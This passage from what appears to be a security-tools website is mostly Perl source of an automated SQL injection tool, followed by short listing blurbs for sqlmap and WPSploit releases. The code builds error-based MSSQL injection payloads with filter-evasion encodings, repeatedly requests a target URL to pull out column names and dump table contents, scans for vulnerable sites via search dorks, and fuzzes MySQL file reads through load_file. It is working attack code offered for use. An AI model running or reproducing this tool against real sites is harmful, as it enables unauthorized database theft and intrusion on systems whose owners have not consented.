     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     print "\n[+] Table Extracting, Started Please Wait ....\n\n";
     $data = "'Ws65qd798sqd9878'";
     $table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."($data)"."));--";
     print "[!] Columns : //// \n\n";
     for ($i;$i<1500;$i++)
     {
         my $injection = $site.$table ;
         my $useragent = LWP::UserAgent->new();
         $ua->proxy("http", "http://$proxy/") if defined($proxy);
         my $request   = $useragent->get($injection);
         my $response  = $request->content;
         if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
         {
             print "[+] ".$1."\n";
             push (@extcols,$1);
             $start = "(";
             $data .= ",'$1'";
             $end   = ")";
             $total = $start.$data.$end;
             $table = "convert(int,(select".$add."top".$add."1".$add."column_name".$add."from".$add."information_schema.columns".$add."where".$add."table_name"."="."'$tblextrct'".$add."And".$add."column_name".$add."not".$add."in".$add."$total"."));--";    
         }
     }
     if (defined($vulnfile))
     {
         open(vuln_file,">>$vulnfile") ;
         print vuln_file "[!] Target            : $site\n";
         print vuln_file "[!] evasion           : $ev\n";
         print vuln_file "[!] Data  :: ----     \n\n\n";
         $i=0;
         foreach(@extcols)
         {
             print vuln_file $extcols[$i]."\n";
             $i++;
         }
         close(vuln_file);
         print "\n[+] Result Saved to $vulnfile\n";
     }
}
 
sub mssqldump
{
     my $site   = $_[0];
     my $ev     = $_[1];
     my $tblextrct = $_[2];
     my $colmextrct = $_[3];
     print "[+] Table  : $tblextrct\n";
     print "[+] Column : $colmextrct\n";
     if ($ev eq '/*')
     {$add = "/**/" ; $com = "/*";}
     elsif ($ev eq '%20')
     {$add = "%20" ; $com = "%00" ;}
     else
     {$add = '+' ; $com ='--';}
     print "\n[+] Table Extracting, Started Please Wait ....\n\n";
     $data = "'Ws65qd798sqd9878'";
     $table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."($data)"."));--";
     print "[!] Columns : //// \n\n";
     for ($i;$i<1500;$i++)
     {
         my $injection = $site.$table ;
         my $useragent = LWP::UserAgent->new();
         $ua->proxy("http", "http://$proxy/") if defined($proxy);
         my $request   = $useragent->get($injection);
         my $response  = $request->content;
         if ($response =~ /.*?value\s'(.*?)'\sto.*/sm)
         {
             print "[+] ".$1."\n";
             push (@dumpdata,$1);
             $start = "(";
             $data .= ",'$1'";
             $end   = ")";
             $total = $start.$data.$end;
             $table = "convert(int,(select".$add."top".$add."1".$add."$colmextrct".$add."from".$add."$tblextrct".$add."where".$add."$colmextrct".$add."not".$add."in".$add."$total"."));--";
         }
     }
     if (defined($vulnfile))
     {
         open(vuln_file,">>$vulnfile") ;
         print vuln_file "[!] Target            : $site\n";
         print vuln_file "[!] evasion           : $ev\n";
         print vuln_file "[!] Data  :: ----     \n\n\n";
         $i=0;
         foreach(@dumpdata)
         {
             print vuln_file $dumpdata[$i]."\n";
             $i++;
         }
         close(vuln_file);
         print "\n[+] Result Saved to $vulnfile\n";
     }
}
 
variables();
main();
 
if (defined($search_dork))
{
     print "[+] Vulnerability Scan\n" ;
     print "[+] Dork : $search_dork\n\n\n" ;
     vulnscanner();
     if (defined($vulnfile))
     {
         open(vuln_file,">>$vulnfile") ;
         print vuln_file @mysqlvuln;
         print vuln_file @mssqlvuln;
         print vuln_file @accessvuln;
         close(vuln_file);
         print "[+] Result Saved to $vulnfile\n";
         exit();
     }
}
 
if (defined($mysql_count_target))
{
     print "[+] MySQL Column Counter\n\n" ;
     print "[+] Target : $mysql_count_target\n" ;
     if ($evasion eq '/*')
     {
         print "[+] Evasion : /**/\n" ;
     }
     elsif ($evasion eq '%20')
     {
         print "[+] Evasion : %20\n" ;
     }
     else
     {
         print "[+] Evasion : --\n" ;
         $evasion = "--"
     }
     mysqlcount($mysql_count_target,$evasion);
}
 
if (defined($mysql_details_target))
{
     print "[+] MySQL database details\n\n" ;
     print "[+] Target : $mysql_details_target\n" ;
     if ($evasion eq '/*')
     {
         print "[+] Evasion : /**/\n" ;
     }
     elsif ($evasion eq '%20')
     {
         print "[+] Evasion : %20\n" ;
     }
     else
     {
         print "[+] Evasion : --\n" ;
         $evasion = "--"
     }
     mysqldetails($mysql_details_target,$evasion);
}
 
if (defined($mysql_schema_target))
{
     print "[+] MySQL Schema Extractor details\n\n" ;
     print "[+] Target : $mysql_schema_target\n" ;
     if ($evasion eq '/*')
     {
         print "[+] Evasion : /**/\n" ;
     }
     elsif ($evasion eq '%20')
     {
         print "[+] Evasion : %20\n" ;
     }
     else
     {
         print "[+] Evasion : --\n" ;
         $evasion = "--"
     }
     mysqlschema($mysql_schema_target,$evasion);
}
 
if (defined($mysql_dump_target))
{
     if (!defined($sql_dump_column))
     {
         print "[!] Please Defind At Least A Column\n";
         exit();
     }
     elsif (!defined($sql_dump_table))
     {
         print "[!] Please Defind Table Name\n";
         exit();
     }
     else
     {
         print "[+] MySQL Data Dumper details\n\n" ;
         print "[+] Target : $mysql_dump_target\n" ;
         if ($evasion eq '/*')
         {
             print "[+] Evasion : /**/\n" ;
         }
         elsif ($evasion eq '%20')
         {
             print "[+] Evasion : %20\n" ;
         }
         else
         {
             print "[+] Evasion : --\n" ;
             $evasion = "--"
         }
         mysqldump($mysql_dump_target,$sql_dump_column,$sql_dump_table,$evasion);
     }    
}
 
if (defined($mysql_fuzz_table))
{
     if(!defined($word_list))
     {
         print "[!] Please Define A list of tables to load\n";
         exit();
     }    
     else
     {
         print "[+] MySQL Tables Fuzzer\n\n" ;
         print "[+] Target : $mysql_fuzz_table\n" ;
         if ($evasion eq '/*')
         {
             print "[+] Evasion : /**/\n" ;
         }
         elsif ($evasion eq '%20')
         {
             print "[+] Evasion : %20\n" ;
         }
         else
         {
             print "[+] Evasion : --\n" ;
             $evasion = "--"
         }
         mysqlfuzztable($mysql_fuzz_table,$evasion,$word_list);    
     }
}
 
if (defined($mysql_fuzz_column))
{
     if(!defined($word_list))
     {
         print "[!] Please Define A list of tables to load\n";
         exit();
     }    
     elsif(!defined($sql_dump_table))
     {
         print "[!] Please Define A Table To Fuzz it's Columns\n";
         exit();
     }    
     else
     {
         print "[+] MySQL Columns Fuzzer\n\n" ;
         print "[+] Target : $mysql_fuzz_column\n" ;
         if ($evasion eq '/*')
         {
             print "[+] Evasion : /**/\n" ;
         }
         elsif ($evasion eq '%20')
         {
             print "[+] Evasion : %20\n" ;
         }
         else
         {
             print "[+] Evasion : --\n" ;
             $evasion = "--"
         }
         mysqlfuzzcolumn($mysql_fuzz_column,$evasion,$word_list,$sql_dump_table);    
     }
}
 
if (defined($mysql_load_file))
{
     if(!defined($word_list))
     {
         print "[!] Please Define A list of tables to load\n";
         exit();
     }    
     else
     {
         print "[+] MySQL Load_File Fuzzer\n\n" ;
         print "[+] Target : $mysql_load_file\n" ;
         if ($evasion eq '/*')
         {
             print "[+] Evasion : /**/\n" ;
         }
         elsif ($evasion eq '%20')
         {
             print "[+] Evasion : %20\n" ;
         }
         else
         {
             print "[+] Evasion : --\n" ;
             $evasion = "--"
         }
         mysqlfile($mysql_load_file,$evasion,$word_list);    
     }
}
 
if (defined($mssql_details_target))
{
     print "[+] MsSQL DB Details\n\n" ;
     print "[+] Target : $mssql_details_target\n" ;
     if ($evasion eq '/*')
     {
         print "[+] Evasion : /**/\n" ;
     }
     elsif ($evasion eq '%20')
     {
         print "[+] Evasion : %20\n" ;
     }
     else
     {
         print "[+] Evasion : --\n" ;
         $evasion = "--"
     }
     mssqldetails($mssql_details_target,$evasion);    
}
 
if (defined($mssql_table_target))
{
     print "[+] MsSQL Tables Extractor\n\n" ;
     print "[+] Target : $mssql_table_target\n" ;
     if ($evasion eq '/*')
     {
         print "[+] Evasion : /**/\n" ;
     }
     elsif ($evasion eq '%20')
     {
         print "[+] Evasion : %20\n" ;
     }
     else
     {
         print "[+] Evasion : --\n" ;
         $evasion = "--"
     }
     mssqltable($mssql_table_target,$evasion);    
}
 
if (defined($mssql_column_target))
{
     if(!defined($sql_dump_table))
     {
         print "[!] Please Defind At Least A Table do Extract from\n";
         exit();
     }
     else
     {
         print "[+] MsSQL Columns Extractor\n\n" ;
         print "[+] Target : $mssql_column_target\n" ;
         if ($evasion eq '/*')
         {
             print "[+] Evasion : /**/\n" ;
         }
         elsif ($evasion eq '%20')
         {
             print "[+] Evasion : %20\n" ;
         }
         else
         {
             print "[+] Evasion : --\n" ;
             $evasion = "--"
         }
         mssqlcolumn($mssql_column_target,$evasion,$sql_dump_table);    
     }
}
 
if (defined($mssql_dump_target))
{
     if(!defined($sql_dump_table))
     {
         print "[!] Please Defind At Least A Table\n";
         exit();
     }
     elsif(!defined($sql_dump_column))
     {
         print "[!] Please Defind At Least A Column\n";
         exit();
     }
     else
     {
         print "[+] MsSQL Data Dumper\n\n" ;
         print "[+] Target : $mssql_dump_target\n" ;
         if ($evasion eq '/*')
         {
             print "[+] Evasion : /**/\n" ;
         }
         elsif ($evasion eq '%20')
         {
             print "[+] Evasion : %20\n" ;
         }
         else
         {
             print "[+] Evasion : --\n" ;
             $evasion = "--"
         }
         mssqldump($mssql_dump_target,$evasion,$sql_dump_table,$sql_dump_column);    
     }
}

Read Article →
Sqlmap v1.0-dev-aa088aa released ~ Automatic SQL injection and database takeover tool.

Sqlmap v1.0-dev-aa088aa released ~ Automatic SQL injection and database takeover tool.

September 23, 2015
HoChi-Minh
Cross Site Scripting(XSS), Fuzzer/Fuzzing, Penetration Test, Sql Injection

changelog v1.0-dev-aa088aa: + plugins: Looks more technical + sqlmap.conf : Adding switch –skip-waf + lib; Bug fix for –common-tables in case of MsSQL/Sybase (safeSQLIdentificatorNaming already…

Read Article →
Updates WPSploit - Exploiting Wordpress With Metasploit.

Updates WPSploit – Exploiting WordPress With Metasploit.

August 29, 2015
HoChi-Minh
Cross Site Scripting(XSS), Penetration Test, Sql Injection

Latest Change 29/8/2015: + Added Youtube Embed XSS Vulnerability — This module attempts to exploit a Cross-Site Scripting in Youtube — This module attempts to…

Read Article →
← Previous 1 … 9 10 11 … 29 Next →

Copyright © 2022

Powered by Worldwide CyberSecurity Team.

  • Digital Forensics
  • Networking
  • Penetration Test
  • Security Tools